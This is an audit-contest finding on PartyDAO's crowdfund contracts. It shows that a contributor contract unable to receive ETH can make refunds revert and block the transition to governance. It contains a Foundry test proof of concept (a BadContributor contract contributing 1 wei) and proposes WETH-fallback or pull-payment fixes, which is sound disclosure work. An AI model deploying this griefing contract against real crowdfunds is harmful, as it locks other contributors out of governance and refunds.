A malicious contributor can block the transition to governance

[code423n4]

Lines of code

https://github.com/PartyDAO/party-contracts-c4/blob/main/contracts/utils/LibAddress.sol#L13

Vulnerability details

Impact

Full voting power cannot be transferred to a party if one of the contributors cannot receive a refund after a crowdfund
is over. A malicious contract that cannot receive ETH (i.e. it doesn't implement the receive function) can become a
contributor and block the transition to governance.

Proof of Concept

// part of the sol-tests/crowdfund/BuyCrowdfund.t.sol test suite

// Cannot receive ETH.
contract BadContributor {
    function contribute(BuyCrowdfund crowdfund) public {
        crowdfund.contribute{ value: address(this).balance }(address(this), "");
    }
}

function testExploit_StalledGovernance() public {
    // Create a BuyCrowdfund instance.
    uint256 tokenId = erc721Vault.mint();
    BuyCrowdfund pb = _createCrowdfund(tokenId, 0);

    // Good contributor contributes.
    address payable contributor = _randomAddress();
    address delegate = _randomAddress();
    vm.deal(contributor, 1e18);
    vm.prank(contributor);
    pb.contribute{ value: contributor.balance }(delegate, "");

    // Malicious contributor contributes.
    BadContributor badContributor = new BadContributor();
    vm.deal(address(badContributor), 1); // Contribution can be as low as 1 wei.
    badContributor.contribute(pb);

    // Buy the token.
    Party party_ = pb.buy(
        payable(address(erc721Vault)),
        0.5e18,
        abi.encodeCall(erc721Vault.claim, (tokenId)),
        defaultGovernanceOpts
    );
    assertEq(address(party), address(party_));

    // Good contributor burns the CF token. Success.
    pb.burn(contributor);
    assertEq(contributor.balance, 0.5e18);

    // Fail. 
    // Bad contributor cannot receive ETH, the transition to governance is blocked. 
    vm.expectRevert(
        abi.encodeWithSelector(
            LibAddress.EthTransferFailed.selector,
            address(badContributor),
            ""
        )
    );
    pb.burn(payable(address(badContributor)));
}

The root cause is that the transferEth
function in the LibAddress library can fail when sending ETH.
Even though contributors need to pass a gatekeeper,
there's still a chance that a malicious contract is allowed to contribute. For example,
TokenGateKeeper
doesn't check whether a contributor is a contract.

Recommended Mitigation Steps

Two possible solutions can be recommended:

1. Keep using push transfers but, in the case when sending ETH fails, wrap and send WETH. This is
   how Nouns DAO does it,
   for example. This will incur extra cost on token burners because they'll have to pay WETH wrapping and transferring when
   ETH transferring has failed.
2. Consider using pull transfers
   instead: in the burn function, keep track of the amounts to be refunded but don't transfer them–let contributors claim
   them later on.

[merklejerk]

Duplicate of #212